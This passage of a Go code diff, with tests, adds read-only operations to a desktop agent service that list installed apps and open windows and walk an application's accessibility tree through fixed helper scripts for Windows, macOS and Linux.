// not the flatpak binary — otherwise every flatpak would earn a cli rung for
// a program the user never runs by hand.
func execProgram(v string) string {
fields := strings.Fields(v)
for i, raw := range fields {
f := strings.Trim(raw, `"`)
if f == "env" || strings.Contains(f, "=") {
continue
}
if filepath.Base(f) == "flatpak" {
for _, arg := range fields[i+1:] {
arg = strings.Trim(arg, `"`)
if arg == "run" || strings.HasPrefix(arg, "-") || strings.Contains(arg, "=") {
continue
}
return "flatpak:" + arg
}
return "flatpak:"
}
return f
}
return ""
}
// x11Display is the display the person is on: DISPLAY when the service has
// one, else the first socket in /tmp/.X11-unix (":0" for X0). "" when neither.
func x11Display() string {
if d := os.Getenv("DISPLAY"); d != "" {
return d
}
entries, err := os.ReadDir("/tmp/.X11-unix")
if err != nil {
return ""
}
for _, e := range entries {
if n, ok := strings.CutPrefix(e.Name(), "X"); ok && n != "" {
return ":" + n
}
}
return ""
}
func listWindows() ([]computerWindow, error) {
display := x11Display()
if display == "" {
return nil, errors.New("no X display on this machine — headless, or Wayland without XWayland; no window list")
}
if !execOnPath("wmctrl") {
return nil, errors.New("wmctrl not installed — install it (apt/dnf: wmctrl) to list windows")
}
out, err := runFixedEnv([]string{"DISPLAY=" + display}, "wmctrl", "-lp")
if err != nil {
var ee *exec.ExitError
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
return nil, errors.New("wmctrl could not read display " + display + " (the bastion runs as a " +
"service without the desktop session's X authority): " + strings.TrimSpace(string(ee.Stderr)))
}
return nil, errors.New("wmctrl failed: " + err.Error())
}
active := ""
if execOnPath("xprop") {
if x, err := runFixedEnv([]string{"DISPLAY=" + display}, "xprop", "-root", "_NET_ACTIVE_WINDOW"); err == nil {
active = parseActiveWindow(string(x))
}
}
wins := parseWmctrl(string(out), active)
for i := range wins {
if wins[i].PID > 0 {
if comm, err := os.ReadFile("/proc/" + strconv.Itoa(wins[i].PID) + "/comm"); err == nil {
wins[i].App = strings.TrimSpace(string(comm))
}
}
}
return wins, nil
}
// wmctrl -lp: id, desktop, pid, client host, then the title — which keeps
// its own spacing (a recorded step may match it byte for byte).
var wmctrlLine = regexp.MustCompile(`^(\S+)\s+(\S+)\s+(\S+)\s+(\S+)(?:\s(.*))?$`)
// parseWmctrl reads `wmctrl -lp` lines:
//
// 0x03400003 0 12345 hostname Window title with spaces
//
// Sticky windows carry desktop -1. activeID (from xprop) marks the focused
// one; ids compare numerically so 0x3400003 and 0x03400003 are the same.
func parseWmctrl(text, activeID string) []computerWindow {
var wins []computerWindow
act := hexID(activeID)
for _, line := range strings.Split(text, "\n") {
m := wmctrlLine.FindStringSubmatch(strings.TrimRight(line, "\r"))
if m == nil {
continue
}
title := m[5]
if strings.TrimSpace(title) == "" {
continue
}
pid, _ := strconv.Atoi(m[3])
w := computerWindow{Title: title, PID: pid}
if act != 0 && hexID(m[1]) == act {
w.Focused = true
}
wins = append(wins, w)
}
return wins
}
// parseActiveWindow reads `_NET_ACTIVE_WINDOW(WINDOW): window id # 0x3400003`.
func parseActiveWindow(text string) string {
if i := strings.LastIndex(text, "#"); i >= 0 {
return strings.TrimSpace(text[i+1:])
}
return ""
}
func hexID(s string) uint64 {
s = strings.TrimPrefix(strings.TrimSpace(strings.ToLower(s)), "0x")
if s == "" {
return 0
}
v, err := strconv.ParseUint(s, 16, 64)
if err != nil {
return 0
}
return v
}
+75
View File
@@ -0,0 +1,75 @@
//go:build linux
package main
import "testing"
const blenderDesktop = `[Desktop Entry]
Name=Blender
GenericName=3D modeler
Comment=3D modeling, animation, rendering and post-production
Keywords=3d;cg;modeling;
Exec=blender %f
Icon=blender
Terminal=false
Type=Application
Version=1.0
Categories=Graphics;3DGraphics;
MimeType=application/x-blender;
[Desktop Action Foo]
Name=Not the app name
`
func TestParseDesktopEntry(t *testing.T) {
a, ok := parseDesktopEntry(blenderDesktop, "/usr/share/applications")
if !ok || a.Name != "Blender" || a.Path != "blender" || a.Source != "desktop" {
t.Fatalf("blender: ok=%v %+v", ok, a)
}
// Version= in a .desktop file is the SPEC version of the file (htop.desktop
// says 1.0 while htop is 3.4.1) — it must never be reported as the app's.
if a.Version != "" {
t.Fatalf("desktop-entry Version must not become the app version: %q", a.Version)
}
// the [Desktop Action] group's Name must not overwrite the entry's
if a.Name != "Blender" {
t.Fatalf("name from the main group only: %q", a.Name)
}
if _, ok := parseDesktopEntry("[Desktop Entry]\nType=Link\nName=x\n", "d"); ok {
t.Fatal("only Type=Application is an app")
}
if _, ok := parseDesktopEntry("[Desktop Entry]\nType=Application\nName=x\nNoDisplay=true\n", "d"); ok {
t.Fatal("NoDisplay entries are not launchable apps")
}
fp, _ := parseDesktopEntry("[Desktop Entry]\nType=Application\nName=Obsidian\nExec=env FOO=1 \"/usr/bin/flatpak\" run --branch=stable --arch=x86_64 md.obsidian.Obsidian %u\n",
"/var/lib/flatpak/exports/share/applications")
if fp.Source != "flatpak" || fp.Path != "flatpak:md.obsidian.Obsidian" {
t.Fatalf("a flatpak's program is the app id, not the flatpak binary: %+v", fp)
}
}
func TestParseWmctrl(t *testing.T) {
out := "0x03400003 0 12345 box Terminal — bash\n" +
"0x0480000a -1 0 box Desktop\n" +
"0x05000007 1 777 box Fusion 360 - flowerpot.f3d\n" + // two spaces, kept
"garbage line\n"
wins := parseWmctrl(out, parseActiveWindow("_NET_ACTIVE_WINDOW(WINDOW): window id # 0x5000007"))
if len(wins) != 3 {
t.Fatalf("three windows: %+v", wins)
}
if wins[0].Title != "Terminal — bash" || wins[0].PID != 12345 || wins[0].Focused {
t.Fatalf("first: %+v", wins[0])
}
if !wins[2].Focused || wins[2].PID != 777 || wins[2].Title != "Fusion 360 - flowerpot.f3d" {
t.Fatalf("the active id (short hex) must match the padded id, and spacing is kept: %+v", wins[2])
}
if wins[1].PID != 0 || wins[1].Title != "Desktop" {
t.Fatalf("sticky window with no pid: %+v", wins[1])
}
}
func TestX11DisplayPrefersEnv(t *testing.T) {
t.Setenv("DISPLAY", ":7")
if d := x11Display(); d != ":7" {
t.Fatalf("DISPLAY wins: %q", d)
}
}
+16
View File
@@ -0,0 +1,16 @@
//go:build !linux && !darwin && !windows
package main
// computer:* stub for platforms with no enumerator. The ops still answer — with
// supported:false and a reason — so the host reads "this box cannot see its
// apps/windows" and never an empty list that would pass for "nothing here".
const (
computerObserveSupported = false
computerInventoryKind = "unsupported"
computerWindowsKind = "unsupported"
)
func listInstalledApps() ([]computerApp, error) { return nil, nil }
func listWindows() ([]computerWindow, error) { return nil, nil }
+156
View File
@@ -0,0 +1,156 @@
package main
import (
"encoding/json"
"os"
"strings"
"testing"
)
// The judgement is platform-neutral and table-driven, so every platform's
// answer is testable from one CI by passing goos explicitly.
func TestWaysInDeepestFirst(t *testing.T) {
got := waysIn("Autodesk Fusion 360", `C:\Users\u\AppData\Local\Autodesk\webdeploy\Fusion360.exe`, "windows", false)
if len(got) < 2 || !strings.HasPrefix(got[0], "script:python") || got[len(got)-1] != wayGUI {
t.Fatalf("Fusion 360 must lead with its Python door and end with gui: %v", got)
}
// per-GOOS doors: Office is COM on Windows, AppleScript on macOS, nothing special elsewhere
if w := waysIn("Microsoft Excel", "", "windows", false); !strings.HasPrefix(w[0], "script:com") {
t.Fatalf("Excel on Windows: %v", w)
}
if w := waysIn("Microsoft Excel", "", "darwin", false); !strings.HasPrefix(w[0], "script:applescript") {
t.Fatalf("Excel on macOS: %v", w)
}
if w := waysIn("Microsoft Excel", "", "linux", false); len(w) != 1 || w[0] != wayGUI {
t.Fatalf("Excel on Linux has only the gui rung: %v", w)
}
// the table's cli flag and the PATH probe both earn the cli rung, once
if w := waysIn("Blender", "/usr/bin/blender", "linux", true); countOf(w, wayCLI) != 1 || w[0] != "script:python (bpy)" {
t.Fatalf("Blender: %v", w)
}
if w := waysIn("Some Tool", "/usr/bin/sometool", "linux", true); len(w) != 2 || w[0] != wayCLI || w[1] != wayGUI {
t.Fatalf("an unknown program on PATH is cli then gui: %v", w)
}
// an unknown app that is not on PATH has exactly the gui rung — never an invented door
if w := waysIn("Mystery App", "", "linux", false); len(w) != 1 || w[0] != wayGUI {
t.Fatalf("unknown app: %v", w)
}
// the exe basename matches too (Office names its binaries, not its products)
if w := waysIn("Word", `C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE`, "windows", false); !strings.HasPrefix(w[0], "script:com") {
t.Fatalf("winword.exe: %v", w)
}
// siblings are not the app: an updater, a runtime, a theme earn nothing
for _, sib := range []string{"Microsoft Edge WebView2 Runtime", "Microsoft Edge Update", "MATLAB Runtime R2024b", "Cursor Theme Pack"} {
if w := waysIn(sib, "", "windows", false); len(w) != 1 || w[0] != wayGUI {
t.Fatalf("%s must earn only gui: %v", sib, w)
}
}
if w := waysIn("Microsoft Edge", "", "windows", false); !strings.HasPrefix(w[0], "script:chrome-devtools") {
t.Fatalf("the real Edge keeps its door: %v", w)
}
// the new Outlook has no COM object model — no door is asserted
if w := waysIn("Microsoft Outlook", "", "windows", false); len(w) != 1 || w[0] != wayGUI {
t.Fatalf("Outlook: %v", w)
}
// a flatpak's program is the app id, never the flatpak binary — no cli from PATH
if w := waysIn("Obsidian", "flatpak:md.obsidian.Obsidian", "linux", execOnPath("flatpak:md.obsidian.Obsidian")); countOf(w, wayCLI) != 0 {
t.Fatalf("flatpak must not earn cli: %v", w)
}
}
func countOf(xs []string, s string) int {
n := 0
for _, x := range xs {
if x == s {
n++
}
}
return n
}
func TestFinishAppsDedupesAndSorts(t *testing.T) {
apps := finishApps([]computerApp{
{Name: "zed", Source: "desktop"},
{Name: "Blender", Source: "desktop", Path: "/nonexistent/blender"},
{Name: "blender", Source: "flatpak"}, // duplicate by name, first fact wins
{Name: " ", Source: "desktop"}, // no name → dropped
})
if len(apps) != 2 || apps[0].Name != "Blender" || apps[1].Name != "zed" {
t.Fatalf("dedupe+sort: %+v", apps)
}
if apps[0].Source != "desktop" {
t.Fatalf("first fact wins on a duplicate: %+v", apps[0])
}
if len(apps[0].WaysIn) == 0 || apps[0].WaysIn[len(apps[0].WaysIn)-1] != wayGUI {
t.Fatalf("ways_in filled for every app: %+v", apps[0])
}
}
// The wire shape both ops answer with, and the honesty rule: unsupported is a
// true answer with a reason, never an empty list.
func TestComputerReportShape(t *testing.T) {
rep := computerReport{Platform: "plan9", Scan: "unsupported", Reason: "no enumerator"}
b, err := json.Marshal(rep)
if err != nil {
t.Fatal(err)
}
var back map[string]any
if err := json.Unmarshal(b, &back); err != nil {
t.Fatal(err)
}
if back["supported"] != false || back["reason"] != "no enumerator" {
t.Fatalf("unsupported must carry supported:false + reason: %s", b)
}
if _, ok := back["apps"]; ok {
t.Fatalf("an unsupported report must not carry an apps list at all: %s", b)
}
}
// Both ops are in the ONE handler table, so the enforcing report's vocabulary
// carries them (mgmtOpVocabulary reads handlerOps) and a grant can name them.
func TestComputerOpsInVocabulary(t *testing.T) {
vocab := mgmtOpVocabulary()
for _, op := range []string{"computer:inventory", "computer:windows"} {
found := false
for _, v := range vocab {
if v == op {
found = true
}
}
if !found {
t.Fatalf("%s missing from the enforcing vocabulary: %v", op, vocab)
}
if handlerOps[op].root != rootNone {
t.Fatalf("%s must need no configured root", op)
}
}
}
// The real thing, on this machine — same switch as TestScanAgentsLive.
func TestComputerObserveLive(t *testing.T) {
if os.Getenv("PRIVATAE_OBSERVE_LIVE") != "1" {
t.Skip("set PRIVATAE_OBSERVE_LIVE=1 to read this machine")
}
inv := computerInventoryReport()
t.Logf("inventory: platform=%s scan=%s supported=%v reason=%q apps=%d", inv.Platform, inv.Scan, inv.Supported, inv.Reason, len(inv.Apps))
for i, a := range inv.Apps {
if i >= 15 {
break
}
t.Logf(" %-32s %-10s %-24s %s", a.Name, a.Version, a.Source, strings.Join(a.WaysIn, " · "))
}
win := computerWindowsReport()
t.Logf("windows: scan=%s supported=%v reason=%q n=%d", win.Scan, win.Supported, win.Reason, len(win.Windows))
for _, w := range win.Windows {
t.Logf(" pid=%-7d app=%-16s focused=%-5v %s", w.PID, w.App, w.Focused, w.Title)
}
}
func TestExecOnPath(t *testing.T) {
if execOnPath("") || execOnPath("/definitely/not/here/xyz") {
t.Fatal("empty or missing program is never on PATH")
}
if execOnPath("/") {
t.Fatal("a directory is not a program")
}
}
+213
View File
@@ -0,0 +1,213 @@
package main
// computer:tree — the ACCESSIBILITY TREE of one application's windows: the
// middle rung of the machine map. Where an app offers no
// scripting door, this is how the host sees it: the app's OWN names for its
// controls, their roles, whether they are enabled and where they are — text,
// not pixels, and exact. It is a READ. Nothing here presses a button.
//
// Each OS has one accessibility API and one fixed helper that walks it:
// Windows UI Automation, through PowerShell's UIAutomationClient assembly
// (ships with .NET Framework on every Windows).
// macOS the AX tree through System Events, in JXA (osascript -l
// JavaScript). Needs the Accessibility permission, like
// computer:windows.
// Linux AT-SPI 2, through python3 + gi (Atspi). Absent → says so.
//
// "Leech, don't adopt": no COM, AX or D-Bus binding lands in the bastion; the
// helper scripts are fixed strings, the target pid and the node cap travel in
// the environment (never in argv, never interpolated), and the helper answers
// JSON that this side re-validates and re-counts.
//
// Args (from the pod, validated here): [pid, max_nodes?]. pid must be a
// positive integer that computer:windows or the agent scan reported — the
// host names a window by its owner, never by guessing.
import (
"encoding/json"
"errors"
"runtime"
"strconv"
"strings"
"time"
"github.com/gorilla/websocket"
)
// The caps match the pod side (the host's machine map): a tree is answered to
// the host through a 100 KB reply wall, and a real node is ~120 bytes, so
// 500 nodes is what arrives whole. Fewer nodes also keeps the macOS walk (up
// to nine Apple Events per node) inside the op's timeout.
const (
treeDefaultMaxNodes = 500
treeMaxNodes = 800
treeMaxDepth = 40
treeMaxText = 120 // name / id / value are cut to this many characters
)
// computerNode is one element of the tree. Keys are what a recorded step
// addresses a control by: role + name (what a person sees), then the app's
// own id when it has one. Bounds are screen pixels.
type computerNode struct {
Role string `json:"role"`
Name string `json:"name,omitempty"`
ID string `json:"id,omitempty"`
Value string `json:"value,omitempty"`
X int `json:"x,omitempty"`
Y int `json:"y,omitempty"`
W int `json:"w,omitempty"`
H int `json:"h,omitempty"`
Enabled *bool `json:"enabled,omitempty"`
Focused bool `json:"focused,omitempty"`
Offscreen bool `json:"offscreen,omitempty"`
Children []*computerNode `json:"children,omitempty"`
}
// treeReport is the wire shape. Windows are the app's top-level windows,
// each a tree. node_count / truncated are recounted here, not trusted.
type treeReport struct {
Platform string `json:"platform"`
Scan string `json:"scan"`
Supported bool `json:"supported"`
Reason string `json:"reason,omitempty"`
ScannedAt string `json:"scanned_at"`
PID int `json:"pid,omitempty"`
App string `json:"app,omitempty"`
NodeCount int `json:"node_count"`
Truncated bool `json:"truncated,omitempty"`
Windows []*computerNode `json:"windows,omitempty"`
}
// helperTree is what every helper answers: {app, truncated, windows:[node…]}.
type helperTree struct {
App string `json:"app"`
Truncated bool `json:"truncated"`
Error string `json:"error"`
Windows []*computerNode `json:"windows"`
}
func parseTreeArgs(args []string) (pid, maxNodes int, err error) {
if len(args) < 1 {
return 0, 0, errors.New("computer:tree needs the owning pid (from computer:windows)")
}
pid, err = strconv.Atoi(strings.TrimSpace(args[0]))
if err != nil || pid <= 1 {
return 0, 0, errors.New("computer:tree: pid must be a positive integer")
}
maxNodes = treeDefaultMaxNodes
if len(args) > 1 && strings.TrimSpace(args[1]) != "" {
n, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil || n <= 0 {
return 0, 0, errors.New("computer:tree: max_nodes must be a positive integer")
}
if n > treeMaxNodes {
n = treeMaxNodes
}
maxNodes = n
}
return pid, maxNodes, nil
}
// boundTree recounts the helper's answer and enforces the node cap and depth
// cap on THIS side too — the helper is trusted for nothing but the walk.
func boundTree(wins []*computerNode, maxNodes int) (out []*computerNode, count int, truncated bool) {
var walk func(n *computerNode, depth int) *computerNode
walk = func(n *computerNode, depth int) *computerNode {
if n == nil || count >= maxNodes || depth > treeMaxDepth {
truncated = true
return nil
}
count++
c := *n
c.Children = nil
c.Name, c.ID, c.Value = cutRunes(c.Name, treeMaxText), cutRunes(c.ID, treeMaxText), cutRunes(c.Value, treeMaxText)
for _, ch := range n.Children {
if k := walk(ch, depth+1); k != nil {
c.Children = append(c.Children, k)
}
}
return &c
}
for _, w := range wins {
if k := walk(w, 0); k != nil {
out = append(out, k)
}
}
return out, count, truncated
}
func computerTreeReport(args []string) treeReport {
rep := treeReport{Platform: runtime.GOOS, Scan: computerTreeKind,
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
pid, maxNodes, err := parseTreeArgs(args)
if err != nil {
rep.Reason = err.Error()
return rep
}
rep.PID = pid
if !computerObserveSupported {
rep.Reason = "no accessibility-tree reader for this platform"
return rep
}
raw, err := readTree(pid, maxNodes)
if err != nil {
rep.Reason = err.Error()
if strings.Contains(rep.Reason, "signal: killed") {
// The helper hit the op's timeout: a busy app on macOS can cost
// several Apple Events per node. Say what to do, not "killed".
rep.Reason = "reading this app's tree took longer than the op allows — ask again with a smaller max_nodes"
}
return rep
}
var ht helperTree
if err := json.Unmarshal(raw, &ht); err != nil {
rep.Reason = "tree helper answered, not with a tree: " + truncate(err.Error(), 200)
return rep
}
if ht.Error != "" {
rep.Reason = ht.Error
return rep
}
rep.Supported = true
rep.App = ht.App
rep.Windows, rep.NodeCount, rep.Truncated = boundTree(ht.Windows, maxNodes)
rep.Truncated = rep.Truncated || ht.Truncated
if rep.Windows == nil {
rep.Windows = []*computerNode{}
}
return rep
}
func handleComputerTree(ws *websocket.Conn, _ string, args []string) {
rep := computerTreeReport(args)
b, err := json.Marshal(rep)
if err != nil {
sendMgmt(ws, 'R', []byte("report: "+err.Error()+"\n"))
sendMgmtExit(ws, 1)
return
}
// A bad ARGUMENT is the caller's fault and reads as such (exit 2, the
// usage-error convention); a blind box is still a true answer (exit 0).
if !rep.Supported && rep.PID == 0 {
sendMgmt(ws, 'R', []byte(rep.Reason+"\n"))
sendMgmtExit(ws, 2)
return
}
sendMgmt(ws, 'O', append(b, '\n'))
sendMgmtExit(ws, 0)
}
// cutRunes shortens a label to n characters on a character boundary — control
// names are the user's language, and a byte cut would split a multibyte one.
func cutRunes(s string, n int) string {
r := []rune(s)
if len(r) <= n {
return s
}
return string(r[:n]) + "…"
}
// helperEnv is the only channel a caller value takes into a helper.
func helperEnv(pid, maxNodes int) []string {
return []string{"PRIVATAE_TARGET_PID=" + strconv.Itoa(pid), "PRIVATAE_MAX_NODES=" + strconv.Itoa(maxNodes)}
}
+54
View File
@@ -0,0 +1,54 @@
//go:build darwin
package main
import "errors"
// macOS: the AX tree through System Events, walked by a fixed JXA script
// (osascript -l JavaScript). Every property read is one Apple Event, so the
// node cap is what keeps a busy window inside the op's timeout. Needs the
// Accessibility permission; the same two error codes computer:windows knows.
const computerTreeKind = "system-events-jxa"
const darwinTreeScript = `
ObjC.import('stdlib');
const targetPid = parseInt($.getenv('PRIVATAE_TARGET_PID'), 10);
const maxNodes = parseInt($.getenv('PRIVATAE_MAX_NODES'), 10);
const se = Application('System Events');
let count = 0, trunc = false;
function str(f) { try { const v = f(); return (v === null || v === undefined) ? '' : String(v); } catch (e) { return ''; } }
function node(el, depth) {
if (count >= maxNodes || depth > 40) { trunc = true; return null; }
count++;
const n = { role: str(() => el.role()).replace(/^AX/, '').toLowerCase() };
const name = str(() => el.name()); if (name) n.name = name;
const desc = str(() => el.description()); if (!name && desc) n.name = desc;
const val = str(() => el.value()); if (val && val.length <= 200) n.value = val;
try { const p = el.position(), s = el.size(); if (p && s) { n.x = p[0]; n.y = p[1]; n.w = s[0]; n.h = s[1]; } } catch (e) {}
try { n.enabled = !!el.enabled(); } catch (e) {}
try { if (el.focused()) n.focused = true; } catch (e) {}
const kids = [];
let children = [];
try { children = el.uiElements(); } catch (e) {}
for (const c of children) { const k = node(c, depth + 1); if (k) kids.push(k); if (trunc) break; }
if (kids.length) n.children = kids;
return n;
}
const procs = se.processes.whose({ unixId: targetPid })();
if (!procs.length) { JSON.stringify({ error: 'no process with pid ' + targetPid }); }
else {
const p = procs[0];
const wins = [];
for (const w of p.windows()) { const t = node(w, 0); if (t) wins.push(t); }
JSON.stringify({ app: str(() => p.name()), truncated: trunc, windows: wins });
}
`
func readTree(pid, maxNodes int) ([]byte, error) {
out, err := runFixedEnv(helperEnv(pid, maxNodes), "osascript", "-l", "JavaScript", "-e", darwinTreeScript)
if err != nil {
return nil, errors.New(osascriptReason(execFailure(err)))
}
return out, nil
}
+107
View File
@@ -0,0 +1,107 @@
//go:build linux
package main
import (
"errors"
"os/exec"
"strings"
)
// Linux: AT-SPI 2 through python3 + gi (Atspi), a fixed script. The
// accessibility bus is per session and found through the X display, so the
// display discovered for computer:windows is handed to the helper. A box
// without the binding says so, with the package to install.
const computerTreeKind = "atspi-python"
const linuxTreeScript = `
import json, os, sys
try:
import gi
gi.require_version("Atspi", "2.0")
from gi.repository import Atspi
except Exception as e:
print(json.dumps({"error": "AT-SPI binding not available: %s (install python3-gi and gir1.2-atspi-2.0)" % e})); sys.exit(0)
pid = int(os.environ["PRIVATAE_TARGET_PID"]); cap = int(os.environ["PRIVATAE_MAX_NODES"])
count = 0; trunc = False
def node(el, depth):
global count, trunc
if count >= cap or depth > 40:
trunc = True; return None
count += 1
n = {"role": Atspi.role_get_name(el.get_role()).replace(" ", "_")}
name = el.get_name() or ""
if name: n["name"] = name
try:
st = el.get_state_set()
n["enabled"] = bool(st.contains(Atspi.StateType.ENABLED))
if st.contains(Atspi.StateType.FOCUSED): n["focused"] = True
if not st.contains(Atspi.StateType.SHOWING): n["offscreen"] = True
except Exception: pass
try:
r = el.get_extents(Atspi.CoordType.SCREEN)
if r.width or r.height: n.update(x=r.x, y=r.y, w=r.width, h=r.height)
except Exception: pass
try:
# Accessible carries a deprecated zero-arg get_text() that shadows
# Text.get_text(start, end) on the gi class, so call the interface
# method explicitly.
t = el.get_text_iface()
if t is not None:
v = Atspi.Text.get_text(t, 0, min(Atspi.Text.get_character_count(t), 200))
if v: n["value"] = v
except Exception: pass
kids = []
try:
for i in range(el.get_child_count()):
k = node(el.get_child_at_index(i), depth + 1)
if k: kids.append(k)
if trunc: break
except Exception: pass
if kids: n["children"] = kids
return n
def fail(msg):
print(json.dumps({"error": msg})); sys.exit(0)
try:
desk = Atspi.get_desktop(0)
n_apps = desk.get_child_count()
except Exception as e:
fail("could not reach the accessibility bus: %s" % e)
app = None
for i in range(n_apps):
try:
a = desk.get_child_at_index(i)
if a is not None and a.get_process_id() == pid: app = a; break
except Exception: continue
if app is None:
fail("pid %d has no AT-SPI application (not running, no toolkit support, or accessibility off)" % pid)
wins = []
try:
for i in range(app.get_child_count()):
w = node(app.get_child_at_index(i), 0)
if w: wins.append(w)
name = app.get_name() or ""
except Exception as e:
fail("the application stopped answering the accessibility bus: %s" % e)
print(json.dumps({"app": name, "truncated": trunc, "windows": wins}))
`
func readTree(pid, maxNodes int) ([]byte, error) {
if !execOnPath("python3") {
return nil, errors.New("python3 not installed — the AT-SPI reader needs python3 with gi (python3-gi, gir1.2-atspi-2.0)")
}
env := helperEnv(pid, maxNodes)
if d := x11Display(); d != "" {
env = append(env, "DISPLAY="+d)
}
out, err := runFixedEnv(env, "python3", "-c", linuxTreeScript)
if err != nil {
var ee *exec.ExitError
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
return nil, errors.New("AT-SPI walk failed: " + truncate(strings.TrimSpace(string(ee.Stderr)), 300))
}
return nil, errors.New("python3 failed: " + err.Error())
}
return out, nil
}

Some files were not shown because too many files have changed in this diff Show More